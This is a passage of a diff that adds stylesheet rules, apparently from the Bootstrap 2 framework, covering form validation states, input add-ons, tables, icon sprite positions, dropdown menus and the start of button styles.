+.control-group.success .checkbox, +.control-group.success .radio, +.control-group.success input, +.control-group.success select, +.control-group.success textarea { + color: #468847; +} + +.control-group.success input, +.control-group.success select, +.control-group.success textarea { + border-color: #468847; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} + +.control-group.success input:focus, +.control-group.success select:focus, +.control-group.success textarea:focus { + border-color: #356635; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b; + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7aba7b; +} + +.control-group.success .input-prepend .add-on, +.control-group.success .input-append .add-on { + color: #468847; + background-color: #dff0d8; + border-color: #468847; +} + +.control-group.info .control-label, +.control-group.info .help-block, +.control-group.info .help-inline { + color: #3a87ad; +} + +.control-group.info .checkbox, +.control-group.info .radio, +.control-group.info input, +.control-group.info select, +.control-group.info textarea { + color: #3a87ad; +} + +.control-group.info input, +.control-group.info select, +.control-group.info textarea { + border-color: #3a87ad; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075); +} + +.control-group.info input:focus, +.control-group.info select:focus, +.control-group.info textarea:focus { + border-color: #2d6987; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3; + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3; + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #7ab5d3; +} + +.control-group.info .input-prepend .add-on, +.control-group.info .input-append .add-on { + color: #3a87ad; + background-color: #d9edf7; + border-color: #3a87ad; +} + +input:focus:invalid, +textarea:focus:invalid, +select:focus:invalid { + color: #b94a48; + border-color: #ee5f5b; +} + +input:focus:invalid:focus, +textarea:focus:invalid:focus, +select:focus:invalid:focus { + border-color: #e9322d; + -webkit-box-shadow: 0 0 6px #f8b9b7; + -moz-box-shadow: 0 0 6px #f8b9b7; + box-shadow: 0 0 6px #f8b9b7; +} + +.form-actions { + padding: 19px 20px 20px; + margin-top: 20px; + margin-bottom: 20px; + background-color: #f5f5f5; + border-top: 1px solid #e5e5e5; + *zoom: 1; +} + +.form-actions:before, +.form-actions:after { + display: table; + line-height: 0; + content: ""; +} + +.form-actions:after { + clear: both; +} + +.help-block, +.help-inline { + color: #595959; +} + +.help-block { + display: block; + margin-bottom: 10px; +} + +.help-inline { + display: inline-block; + *display: inline; + padding-left: 5px; + vertical-align: middle; + *zoom: 1; +} + +.input-append, +.input-prepend { + display: inline-block; + margin-bottom: 10px; + font-size: 0; + white-space: nowrap; + vertical-align: middle; +} + +.input-append input, +.input-prepend input, +.input-append select, +.input-prepend select, +.input-append .uneditable-input, +.input-prepend .uneditable-input, +.input-append .dropdown-menu, +.input-prepend .dropdown-menu, +.input-append .popover, +.input-prepend .popover { + font-size: 14px; +} + +.input-append input, +.input-prepend input, +.input-append select, +.input-prepend select, +.input-append .uneditable-input, +.input-prepend .uneditable-input { + position: relative; + margin-bottom: 0; + *margin-left: 0; + vertical-align: top; + -webkit-border-radius: 0 4px 4px 0; + -moz-border-radius: 0 4px 4px 0; + border-radius: 0 4px 4px 0; +} + +.input-append input:focus, +.input-prepend input:focus, +.input-append select:focus, +.input-prepend select:focus, +.input-append .uneditable-input:focus, +.input-prepend .uneditable-input:focus { + z-index: 2; +} + +.input-append .add-on, +.input-prepend .add-on { + display: inline-block; + width: auto; + height: 20px; + min-width: 16px; + padding: 4px 5px; + font-size: 14px; + font-weight: normal; + line-height: 20px; + text-align: center; + text-shadow: 0 1px 0 #ffffff; + background-color: #eeeeee; + border: 1px solid #ccc; +} + +.input-append .add-on, +.input-prepend .add-on, +.input-append .btn, +.input-prepend .btn, +.input-append .btn-group > .dropdown-toggle, +.input-prepend .btn-group > .dropdown-toggle { + vertical-align: top; + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.input-append .active, +.input-prepend .active { + background-color: #a9dba9; + border-color: #46a546; +} + +.input-prepend .add-on, +.input-prepend .btn { + margin-right: -1px; +} + +.input-prepend .add-on:first-child, +.input-prepend .btn:first-child { + -webkit-border-radius: 4px 0 0 4px; + -moz-border-radius: 4px 0 0 4px; + border-radius: 4px 0 0 4px; +} + +.input-append input, +.input-append select, +.input-append .uneditable-input { + -webkit-border-radius: 4px 0 0 4px; + -moz-border-radius: 4px 0 0 4px; + border-radius: 4px 0 0 4px; +} + +.input-append input + .btn-group .btn:last-child, +.input-append select + .btn-group .btn:last-child, +.input-append .uneditable-input + .btn-group .btn:last-child { + -webkit-border-radius: 0 4px 4px 0; + -moz-border-radius: 0 4px 4px 0; + border-radius: 0 4px 4px 0; +} + +.input-append .add-on, +.input-append .btn, +.input-append .btn-group { + margin-left: -1px; +} + +.input-append .add-on:last-child, +.input-append .btn:last-child, +.input-append .btn-group:last-child > .dropdown-toggle { + -webkit-border-radius: 0 4px 4px 0; + -moz-border-radius: 0 4px 4px 0; + border-radius: 0 4px 4px 0; +} + +.input-prepend.input-append input, +.input-prepend.input-append select, +.input-prepend.input-append .uneditable-input { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.input-prepend.input-append input + .btn-group .btn, +.input-prepend.input-append select + .btn-group .btn, +.input-prepend.input-append .uneditable-input + .btn-group .btn { + -webkit-border-radius: 0 4px 4px 0; + -moz-border-radius: 0 4px 4px 0; + border-radius: 0 4px 4px 0; +} + +.input-prepend.input-append .add-on:first-child, +.input-prepend.input-append .btn:first-child { + margin-right: -1px; + -webkit-border-radius: 4px 0 0 4px; + -moz-border-radius: 4px 0 0 4px; + border-radius: 4px 0 0 4px; +} + +.input-prepend.input-append .add-on:last-child, +.input-prepend.input-append .btn:last-child { + margin-left: -1px; + -webkit-border-radius: 0 4px 4px 0; + -moz-border-radius: 0 4px 4px 0; + border-radius: 0 4px 4px 0; +} + +.input-prepend.input-append .btn-group:first-child { + margin-left: 0; +} + +input.search-query { + padding-right: 14px; + padding-right: 4px \9; + padding-left: 14px; + padding-left: 4px \9; + /* IE7-8 doesn't have border-radius, so don't indent the padding */ + + margin-bottom: 0; + -webkit-border-radius: 15px; + -moz-border-radius: 15px; + border-radius: 15px; +} + +/* Allow for input prepend/append in search forms */ + +.form-search .input-append .search-query, +.form-search .input-prepend .search-query { + -webkit-border-radius: 0; + -moz-border-radius: 0; + border-radius: 0; +} + +.form-search .input-append .search-query { + -webkit-border-radius: 14px 0 0 14px; + -moz-border-radius: 14px 0 0 14px; + border-radius: 14px 0 0 14px; +} + +.form-search .input-append .btn { + -webkit-border-radius: 0 14px 14px 0; + -moz-border-radius: 0 14px 14px 0; + border-radius: 0 14px 14px 0; +} + +.form-search .input-prepend .search-query { + -webkit-border-radius: 0 14px 14px 0; + -moz-border-radius: 0 14px 14px 0; + border-radius: 0 14px 14px 0; +} + +.form-search .input-prepend .btn { + -webkit-border-radius: 14px 0 0 14px; + -moz-border-radius: 14px 0 0 14px; + border-radius: 14px 0 0 14px; +} + +.form-search input, +.form-inline input, +.form-horizontal input, +.form-search textarea, +.form-inline textarea, +.form-horizontal textarea, +.form-search select, +.form-inline select, +.form-horizontal select, +.form-search .help-inline, +.form-inline .help-inline, +.form-horizontal .help-inline, +.form-search .uneditable-input, +.form-inline .uneditable-input, +.form-horizontal .uneditable-input, +.form-search .input-prepend, +.form-inline .input-prepend, +.form-horizontal .input-prepend, +.form-search .input-append, +.form-inline .input-append, +.form-horizontal .input-append { + display: inline-block; + *display: inline; + margin-bottom: 0; + vertical-align: middle; + *zoom: 1; +} + +.form-search .hide, +.form-inline .hide, +.form-horizontal .hide { + display: none; +} + +.form-search label, +.form-inline label, +.form-search .btn-group, +.form-inline .btn-group { + display: inline-block; +} + +.form-search .input-append, +.form-inline .input-append, +.form-search .input-prepend, +.form-inline .input-prepend { + margin-bottom: 0; +} + +.form-search .radio, +.form-search .checkbox, +.form-inline .radio, +.form-inline .checkbox { + padding-left: 0; + margin-bottom: 0; + vertical-align: middle; +} + +.form-search .radio input[type="radio"], +.form-search .checkbox input[type="checkbox"], +.form-inline .radio input[type="radio"], +.form-inline .checkbox input[type="checkbox"] { + float: left; + margin-right: 3px; + margin-left: 0; +} + +.control-group { + margin-bottom: 10px; +} + +legend + .control-group { + margin-top: 20px; + -webkit-margin-top-collapse: separate; +} + +.form-horizontal .control-group { + margin-bottom: 20px; + *zoom: 1; +} + +.form-horizontal .control-group:before, +.form-horizontal .control-group:after { + display: table; + line-height: 0; + content: ""; +} + +.form-horizontal .control-group:after { + clear: both; +} + +.form-horizontal .control-label { + float: left; + width: 160px; + padding-top: 5px; + text-align: right; +} + +.form-horizontal .controls { + *display: inline-block; + *padding-left: 20px; + margin-left: 180px; + *margin-left: 0; +} + +.form-horizontal .controls:first-child { + *padding-left: 180px; +} + +.form-horizontal .help-block { + margin-bottom: 0; +} + +.form-horizontal input + .help-block, +.form-horizontal select + .help-block, +.form-horizontal textarea + .help-block, +.form-horizontal .uneditable-input + .help-block, +.form-horizontal .input-prepend + .help-block, +.form-horizontal .input-append + .help-block { + margin-top: 10px; +} + +.form-horizontal .form-actions { + padding-left: 180px; +} + +table { + max-width: 100%; + background-color: transparent; + border-collapse: collapse; + border-spacing: 0; +} + +.table { + width: 100%; + margin-bottom: 20px; +} + +.table th, +.table td { + padding: 8px; + line-height: 20px; + text-align: left; + vertical-align: top; + border-top: 1px solid #dddddd; +} + +.table th { + font-weight: bold; +} + +.table thead th { + vertical-align: bottom; +} + +.table caption + thead tr:first-child th, +.table caption + thead tr:first-child td, +.table colgroup + thead tr:first-child th, +.table colgroup + thead tr:first-child td, +.table thead:first-child tr:first-child th, +.table thead:first-child tr:first-child td { + border-top: 0; +} + +.table tbody + tbody { + border-top: 2px solid #dddddd; +} + +.table .table { + background-color: #ffffff; +} + +.table-condensed th, +.table-condensed td { + padding: 4px 5px; +} + +.table-bordered { + border: 1px solid #dddddd; + border-collapse: separate; + *border-collapse: collapse; + border-left: 0; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.table-bordered th, +.table-bordered td { + border-left: 1px solid #dddddd; +} + +.table-bordered caption + thead tr:first-child th, +.table-bordered caption + tbody tr:first-child th, +.table-bordered caption + tbody tr:first-child td, +.table-bordered colgroup + thead tr:first-child th, +.table-bordered colgroup + tbody tr:first-child th, +.table-bordered colgroup + tbody tr:first-child td, +.table-bordered thead:first-child tr:first-child th, +.table-bordered tbody:first-child tr:first-child th, +.table-bordered tbody:first-child tr:first-child td { + border-top: 0; +} + +.table-bordered thead:first-child tr:first-child > th:first-child, +.table-bordered tbody:first-child tr:first-child > td:first-child, +.table-bordered tbody:first-child tr:first-child > th:first-child { + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-topleft: 4px; +} + +.table-bordered thead:first-child tr:first-child > th:last-child, +.table-bordered tbody:first-child tr:first-child > td:last-child, +.table-bordered tbody:first-child tr:first-child > th:last-child { + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + -moz-border-radius-topright: 4px; +} + +.table-bordered thead:last-child tr:last-child > th:first-child, +.table-bordered tbody:last-child tr:last-child > td:first-child, +.table-bordered tbody:last-child tr:last-child > th:first-child, +.table-bordered tfoot:last-child tr:last-child > td:first-child, +.table-bordered tfoot:last-child tr:last-child > th:first-child { + -webkit-border-bottom-left-radius: 4px; + border-bottom-left-radius: 4px; + -moz-border-radius-bottomleft: 4px; +} + +.table-bordered thead:last-child tr:last-child > th:last-child, +.table-bordered tbody:last-child tr:last-child > td:last-child, +.table-bordered tbody:last-child tr:last-child > th:last-child, +.table-bordered tfoot:last-child tr:last-child > td:last-child, +.table-bordered tfoot:last-child tr:last-child > th:last-child { + -webkit-border-bottom-right-radius: 4px; + border-bottom-right-radius: 4px; + -moz-border-radius-bottomright: 4px; +} + +.table-bordered tfoot + tbody:last-child tr:last-child td:first-child { + -webkit-border-bottom-left-radius: 0; + border-bottom-left-radius: 0; + -moz-border-radius-bottomleft: 0; +} + +.table-bordered tfoot + tbody:last-child tr:last-child td:last-child { + -webkit-border-bottom-right-radius: 0; + border-bottom-right-radius: 0; + -moz-border-radius-bottomright: 0; +} + +.table-bordered caption + thead tr:first-child th:first-child, +.table-bordered caption + tbody tr:first-child td:first-child, +.table-bordered colgroup + thead tr:first-child th:first-child, +.table-bordered colgroup + tbody tr:first-child td:first-child { + -webkit-border-top-left-radius: 4px; + border-top-left-radius: 4px; + -moz-border-radius-topleft: 4px; +} + +.table-bordered caption + thead tr:first-child th:last-child, +.table-bordered caption + tbody tr:first-child td:last-child, +.table-bordered colgroup + thead tr:first-child th:last-child, +.table-bordered colgroup + tbody tr:first-child td:last-child { + -webkit-border-top-right-radius: 4px; + border-top-right-radius: 4px; + -moz-border-radius-topright: 4px; +} + +.table-striped tbody > tr:nth-child(odd) > td, +.table-striped tbody > tr:nth-child(odd) > th { + background-color: #f9f9f9; +} + +.table-hover tbody tr:hover > td, +.table-hover tbody tr:hover > th { + background-color: #f5f5f5; +} + +table td[class*="span"], +table th[class*="span"], +.row-fluid table td[class*="span"], +.row-fluid table th[class*="span"] { + display: table-cell; + float: none; + margin-left: 0; +} + +.table td.span1, +.table th.span1 { + float: none; + width: 44px; + margin-left: 0; +} + +.table td.span2, +.table th.span2 { + float: none; + width: 124px; + margin-left: 0; +} + +.table td.span3, +.table th.span3 { + float: none; + width: 204px; + margin-left: 0; +} + +.table td.span4, +.table th.span4 { + float: none; + width: 284px; + margin-left: 0; +} + +.table td.span5, +.table th.span5 { + float: none; + width: 364px; + margin-left: 0; +} + +.table td.span6, +.table th.span6 { + float: none; + width: 444px; + margin-left: 0; +} + +.table td.span7, +.table th.span7 { + float: none; + width: 524px; + margin-left: 0; +} + +.table td.span8, +.table th.span8 { + float: none; + width: 604px; + margin-left: 0; +} + +.table td.span9, +.table th.span9 { + float: none; + width: 684px; + margin-left: 0; +} + +.table td.span10, +.table th.span10 { + float: none; + width: 764px; + margin-left: 0; +} + +.table td.span11, +.table th.span11 { + float: none; + width: 844px; + margin-left: 0; +} + +.table td.span12, +.table th.span12 { + float: none; + width: 924px; + margin-left: 0; +} + +.table tbody tr.success > td { + background-color: #dff0d8; +} + +.table tbody tr.error > td { + background-color: #f2dede; +} + +.table tbody tr.warning > td { + background-color: #fcf8e3; +} + +.table tbody tr.info > td { + background-color: #d9edf7; +} + +.table-hover tbody tr.success:hover > td { + background-color: #d0e9c6; +} + +.table-hover tbody tr.error:hover > td { + background-color: #ebcccc; +} + +.table-hover tbody tr.warning:hover > td { + background-color: #faf2cc; +} + +.table-hover tbody tr.info:hover > td { + background-color: #c4e3f3; +} + +[class^="icon-"], +[class*=" icon-"] { + display: inline-block; + width: 14px; + height: 14px; + margin-top: 1px; + *margin-right: .3em; + line-height: 14px; + vertical-align: text-top; + background-image: url("../img/glyphicons-halflings.png"); + background-position: 14px 14px; + background-repeat: no-repeat; +} + +/* White icons with optional class, or on hover/focus/active states of certain elements */ + +.icon-white, +.nav-pills > .active > a > [class^="icon-"], +.nav-pills > .active > a > [class*=" icon-"], +.nav-list > .active > a > [class^="icon-"], +.nav-list > .active > a > [class*=" icon-"], +.navbar-inverse .nav > .active > a > [class^="icon-"], +.navbar-inverse .nav > .active > a > [class*=" icon-"], +.dropdown-menu > li > a:hover > [class^="icon-"], +.dropdown-menu > li > a:focus > [class^="icon-"], +.dropdown-menu > li > a:hover > [class*=" icon-"], +.dropdown-menu > li > a:focus > [class*=" icon-"], +.dropdown-menu > .active > a > [class^="icon-"], +.dropdown-menu > .active > a > [class*=" icon-"], +.dropdown-submenu:hover > a > [class^="icon-"], +.dropdown-submenu:focus > a > [class^="icon-"], +.dropdown-submenu:hover > a > [class*=" icon-"], +.dropdown-submenu:focus > a > [class*=" icon-"] { + background-image: url("../img/glyphicons-halflings-white.png"); +} + +.icon-glass { + background-position: 0 0; +} + +.icon-music { + background-position: -24px 0; +} + +.icon-search { + background-position: -48px 0; +} + +.icon-envelope { + background-position: -72px 0; +} + +.icon-heart { + background-position: -96px 0; +} + +.icon-star { + background-position: -120px 0; +} + +.icon-star-empty { + background-position: -144px 0; +} + +.icon-user { + background-position: -168px 0; +} + +.icon-film { + background-position: -192px 0; +} + +.icon-th-large { + background-position: -216px 0; +} + +.icon-th { + background-position: -240px 0; +} + +.icon-th-list { + background-position: -264px 0; +} + +.icon-ok { + background-position: -288px 0; +} + +.icon-remove { + background-position: -312px 0; +} + +.icon-zoom-in { + background-position: -336px 0; +} + +.icon-zoom-out { + background-position: -360px 0; +} + +.icon-off { + background-position: -384px 0; +} + +.icon-signal { + background-position: -408px 0; +} + +.icon-cog { + background-position: -432px 0; +} + +.icon-trash { + background-position: -456px 0; +} + +.icon-home { + background-position: 0 -24px; +} + +.icon-file { + background-position: -24px -24px; +} + +.icon-time { + background-position: -48px -24px; +} + +.icon-road { + background-position: -72px -24px; +} + +.icon-download-alt { + background-position: -96px -24px; +} + +.icon-download { + background-position: -120px -24px; +} + +.icon-upload { + background-position: -144px -24px; +} + +.icon-inbox { + background-position: -168px -24px; +} + +.icon-play-circle { + background-position: -192px -24px; +} + +.icon-repeat { + background-position: -216px -24px; +} + +.icon-refresh { + background-position: -240px -24px; +} + +.icon-list-alt { + background-position: -264px -24px; +} + +.icon-lock { + background-position: -287px -24px; +} + +.icon-flag { + background-position: -312px -24px; +} + +.icon-headphones { + background-position: -336px -24px; +} + +.icon-volume-off { + background-position: -360px -24px; +} + +.icon-volume-down { + background-position: -384px -24px; +} + +.icon-volume-up { + background-position: -408px -24px; +} + +.icon-qrcode { + background-position: -432px -24px; +} + +.icon-barcode { + background-position: -456px -24px; +} + +.icon-tag { + background-position: 0 -48px; +} + +.icon-tags { + background-position: -25px -48px; +} + +.icon-book { + background-position: -48px -48px; +} + +.icon-bookmark { + background-position: -72px -48px; +} + +.icon-print { + background-position: -96px -48px; +} + +.icon-camera { + background-position: -120px -48px; +} + +.icon-font { + background-position: -144px -48px; +} + +.icon-bold { + background-position: -167px -48px; +} + +.icon-italic { + background-position: -192px -48px; +} + +.icon-text-height { + background-position: -216px -48px; +} + +.icon-text-width { + background-position: -240px -48px; +} + +.icon-align-left { + background-position: -264px -48px; +} + +.icon-align-center { + background-position: -288px -48px; +} + +.icon-align-right { + background-position: -312px -48px; +} + +.icon-align-justify { + background-position: -336px -48px; +} + +.icon-list { + background-position: -360px -48px; +} + +.icon-indent-left { + background-position: -384px -48px; +} + +.icon-indent-right { + background-position: -408px -48px; +} + +.icon-facetime-video { + background-position: -432px -48px; +} + +.icon-picture { + background-position: -456px -48px; +} + +.icon-pencil { + background-position: 0 -72px; +} + +.icon-map-marker { + background-position: -24px -72px; +} + +.icon-adjust { + background-position: -48px -72px; +} + +.icon-tint { + background-position: -72px -72px; +} + +.icon-edit { + background-position: -96px -72px; +} + +.icon-share { + background-position: -120px -72px; +} + +.icon-check { + background-position: -144px -72px; +} + +.icon-move { + background-position: -168px -72px; +} + +.icon-step-backward { + background-position: -192px -72px; +} + +.icon-fast-backward { + background-position: -216px -72px; +} + +.icon-backward { + background-position: -240px -72px; +} + +.icon-play { + background-position: -264px -72px; +} + +.icon-pause { + background-position: -288px -72px; +} + +.icon-stop { + background-position: -312px -72px; +} + +.icon-forward { + background-position: -336px -72px; +} + +.icon-fast-forward { + background-position: -360px -72px; +} + +.icon-step-forward { + background-position: -384px -72px; +} + +.icon-eject { + background-position: -408px -72px; +} + +.icon-chevron-left { + background-position: -432px -72px; +} + +.icon-chevron-right { + background-position: -456px -72px; +} + +.icon-plus-sign { + background-position: 0 -96px; +} + +.icon-minus-sign { + background-position: -24px -96px; +} + +.icon-remove-sign { + background-position: -48px -96px; +} + +.icon-ok-sign { + background-position: -72px -96px; +} + +.icon-question-sign { + background-position: -96px -96px; +} + +.icon-info-sign { + background-position: -120px -96px; +} + +.icon-screenshot { + background-position: -144px -96px; +} + +.icon-remove-circle { + background-position: -168px -96px; +} + +.icon-ok-circle { + background-position: -192px -96px; +} + +.icon-ban-circle { + background-position: -216px -96px; +} + +.icon-arrow-left { + background-position: -240px -96px; +} + +.icon-arrow-right { + background-position: -264px -96px; +} + +.icon-arrow-up { + background-position: -289px -96px; +} + +.icon-arrow-down { + background-position: -312px -96px; +} + +.icon-share-alt { + background-position: -336px -96px; +} + +.icon-resize-full { + background-position: -360px -96px; +} + +.icon-resize-small { + background-position: -384px -96px; +} + +.icon-plus { + background-position: -408px -96px; +} + +.icon-minus { + background-position: -433px -96px; +} + +.icon-asterisk { + background-position: -456px -96px; +} + +.icon-exclamation-sign { + background-position: 0 -120px; +} + +.icon-gift { + background-position: -24px -120px; +} + +.icon-leaf { + background-position: -48px -120px; +} + +.icon-fire { + background-position: -72px -120px; +} + +.icon-eye-open { + background-position: -96px -120px; +} + +.icon-eye-close { + background-position: -120px -120px; +} + +.icon-warning-sign { + background-position: -144px -120px; +} + +.icon-plane { + background-position: -168px -120px; +} + +.icon-calendar { + background-position: -192px -120px; +} + +.icon-random { + width: 16px; + background-position: -216px -120px; +} + +.icon-comment { + background-position: -240px -120px; +} + +.icon-magnet { + background-position: -264px -120px; +} + +.icon-chevron-up { + background-position: -288px -120px; +} + +.icon-chevron-down { + background-position: -313px -119px; +} + +.icon-retweet { + background-position: -336px -120px; +} + +.icon-shopping-cart { + background-position: -360px -120px; +} + +.icon-folder-close { + width: 16px; + background-position: -384px -120px; +} + +.icon-folder-open { + width: 16px; + background-position: -408px -120px; +} + +.icon-resize-vertical { + background-position: -432px -119px; +} + +.icon-resize-horizontal { + background-position: -456px -118px; +} + +.icon-hdd { + background-position: 0 -144px; +} + +.icon-bullhorn { + background-position: -24px -144px; +} + +.icon-bell { + background-position: -48px -144px; +} + +.icon-certificate { + background-position: -72px -144px; +} + +.icon-thumbs-up { + background-position: -96px -144px; +} + +.icon-thumbs-down { + background-position: -120px -144px; +} + +.icon-hand-right { + background-position: -144px -144px; +} + +.icon-hand-left { + background-position: -168px -144px; +} + +.icon-hand-up { + background-position: -192px -144px; +} + +.icon-hand-down { + background-position: -216px -144px; +} + +.icon-circle-arrow-right { + background-position: -240px -144px; +} + +.icon-circle-arrow-left { + background-position: -264px -144px; +} + +.icon-circle-arrow-up { + background-position: -288px -144px; +} + +.icon-circle-arrow-down { + background-position: -312px -144px; +} + +.icon-globe { + background-position: -336px -144px; +} + +.icon-wrench { + background-position: -360px -144px; +} + +.icon-tasks { + background-position: -384px -144px; +} + +.icon-filter { + background-position: -408px -144px; +} + +.icon-briefcase { + background-position: -432px -144px; +} + +.icon-fullscreen { + background-position: -456px -144px; +} + +.dropup, +.dropdown { + position: relative; +} + +.dropdown-toggle { + *margin-bottom: -3px; +} + +.dropdown-toggle:active, +.open .dropdown-toggle { + outline: 0; +} + +.caret { + display: inline-block; + width: 0; + height: 0; + vertical-align: top; + border-top: 4px solid #000000; + border-right: 4px solid transparent; + border-left: 4px solid transparent; + content: ""; +} + +.dropdown .caret { + margin-top: 8px; + margin-left: 2px; +} + +.dropdown-menu { + position: absolute; + top: 100%; + left: 0; + z-index: 1000; + display: none; + float: left; + min-width: 160px; + padding: 5px 0; + margin: 2px 0 0; + list-style: none; + background-color: #ffffff; + border: 1px solid #ccc; + border: 1px solid rgba(0, 0, 0, 0.2); + *border-right-width: 2px; + *border-bottom-width: 2px; + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; + -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + -moz-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2); + -webkit-background-clip: padding-box; + -moz-background-clip: padding; + background-clip: padding-box; +} + +.dropdown-menu.pull-right { + right: 0; + left: auto; +} + +.dropdown-menu .divider { + *width: 100%; + height: 1px; + margin: 9px 1px; + *margin: -5px 0 5px; + overflow: hidden; + background-color: #e5e5e5; + border-bottom: 1px solid #ffffff; +} + +.dropdown-menu > li > a { + display: block; + padding: 3px 20px; + clear: both; + font-weight: normal; + line-height: 20px; + color: #333333; + white-space: nowrap; +} + +.dropdown-menu > li > a:hover, +.dropdown-menu > li > a:focus, +.dropdown-submenu:hover > a, +.dropdown-submenu:focus > a { + color: #ffffff; + text-decoration: none; + background-color: #0081c2; + background-image: -moz-linear-gradient(top, #0088cc, #0077b3); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3)); + background-image: -webkit-linear-gradient(top, #0088cc, #0077b3); + background-image: -o-linear-gradient(top, #0088cc, #0077b3); + background-image: linear-gradient(to bottom, #0088cc, #0077b3); + background-repeat: repeat-x; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0); +} + +.dropdown-menu > .active > a, +.dropdown-menu > .active > a:hover, +.dropdown-menu > .active > a:focus { + color: #ffffff; + text-decoration: none; + background-color: #0081c2; + background-image: -moz-linear-gradient(top, #0088cc, #0077b3); + background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#0088cc), to(#0077b3)); + background-image: -webkit-linear-gradient(top, #0088cc, #0077b3); + background-image: -o-linear-gradient(top, #0088cc, #0077b3); + background-image: linear-gradient(to bottom, #0088cc, #0077b3); + background-repeat: repeat-x; + outline: 0; + filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff0088cc', endColorstr='#ff0077b3', GradientType=0); +} + +.dropdown-menu > .disabled > a, +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + color: #999999; +} + +.dropdown-menu > .disabled > a:hover, +.dropdown-menu > .disabled > a:focus { + text-decoration: none; + cursor: default; + background-color: transparent; + background-image: none; + filter: progid:DXImageTransform.Microsoft.gradient(enabled=false); +} + +.open { + *z-index: 1000; +} + +.open > .dropdown-menu { + display: block; +} + +.pull-right > .dropdown-menu { + right: 0; + left: auto; +} + +.dropup .caret, +.navbar-fixed-bottom .dropdown .caret { + border-top: 0; + border-bottom: 4px solid #000000; + content: ""; +} + +.dropup .dropdown-menu, +.navbar-fixed-bottom .dropdown .dropdown-menu { + top: auto; + bottom: 100%; + margin-bottom: 1px; +} + +.dropdown-submenu { + position: relative; +} + +.dropdown-submenu > .dropdown-menu { + top: 0; + left: 100%; + margin-top: -6px; + margin-left: -1px; + -webkit-border-radius: 0 6px 6px 6px; + -moz-border-radius: 0 6px 6px 6px; + border-radius: 0 6px 6px 6px; +} + +.dropdown-submenu:hover > .dropdown-menu { + display: block; +} + +.dropup .dropdown-submenu > .dropdown-menu { + top: auto; + bottom: 0; + margin-top: 0; + margin-bottom: -2px; + -webkit-border-radius: 5px 5px 5px 0; + -moz-border-radius: 5px 5px 5px 0; + border-radius: 5px 5px 5px 0; +} + +.dropdown-submenu > a:after { + display: block; + float: right; + width: 0; + height: 0; + margin-top: 5px; + margin-right: -10px; + border-color: transparent; + border-left-color: #cccccc; + border-style: solid; + border-width: 5px 0 5px 5px; + content: " "; +} + +.dropdown-submenu:hover > a:after { + border-left-color: #ffffff; +} + +.dropdown-submenu.pull-left { + float: none; +} + +.dropdown-submenu.pull-left > .dropdown-menu { + left: -100%; + margin-left: 10px; + -webkit-border-radius: 6px 0 6px 6px; + -moz-border-radius: 6px 0 6px 6px; + border-radius: 6px 0 6px 6px; +} + +.dropdown .dropdown-menu .nav-header { + padding-right: 20px; + padding-left: 20px; +} + +.typeahead { + z-index: 1051; + margin-top: 2px; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; +} + +.well { + min-height: 20px; + padding: 19px; + margin-bottom: 20px; + background-color: #f5f5f5; + border: 1px solid #e3e3e3; + -webkit-border-radius: 4px; + -moz-border-radius: 4px; + border-radius: 4px; + -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); + -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); + box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); +} + +.well blockquote { + border-color: #ddd; + border-color: rgba(0, 0, 0, 0.15); +} + +.well-large { + padding: 24px; + -webkit-border-radius: 6px; + -moz-border-radius: 6px; + border-radius: 6px; +} + +.well-small { + padding: 9px; + -webkit-border-radius: 3px; + -moz-border-radius: 3px; + border-radius: 3px; +} + +.fade { + opacity: 0; + -webkit-transition: opacity 0.15s linear; + -moz-transition: opacity 0.15s linear; + -o-transition: opacity 0.15s linear; + transition: opacity 0.15s linear; +} + +.fade.in { + opacity: 1; +} + +.collapse { + position: relative; + height: 0; + overflow: hidden; + -webkit-transition: height 0.35s ease; + -moz-transition: height 0.35s ease; + -o-transition: height 0.35s ease; + transition: height 0.35s ease; +} + +.collapse.in { + height: auto; +} + +.close { + float: right; + font-size: 20px; + font-weight: bold; + line-height: 20px; + color: #000000; + text-shadow: 0 1px 0 #ffffff; + opacity: 0.2; + filter: alpha(opacity=20); +} + +.close:hover, +.close:focus { + color: #000000; + text-decoration: none; + cursor: pointer; + opacity: 0.4; + filter: alpha(opacity=40); +} + +button.close { + padding: 0; + cursor: pointer; + background: transparent; + border: 0; + -webkit-appearance: none; +} + +.btn { + display: inline-block; + *display: inline; + padding: 4px 12px; + margin-bottom: 0; + *margin-left: .3em; + font-size: 14px; + line-height: 20px; + color: #333333; + text-align: center; + text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75); 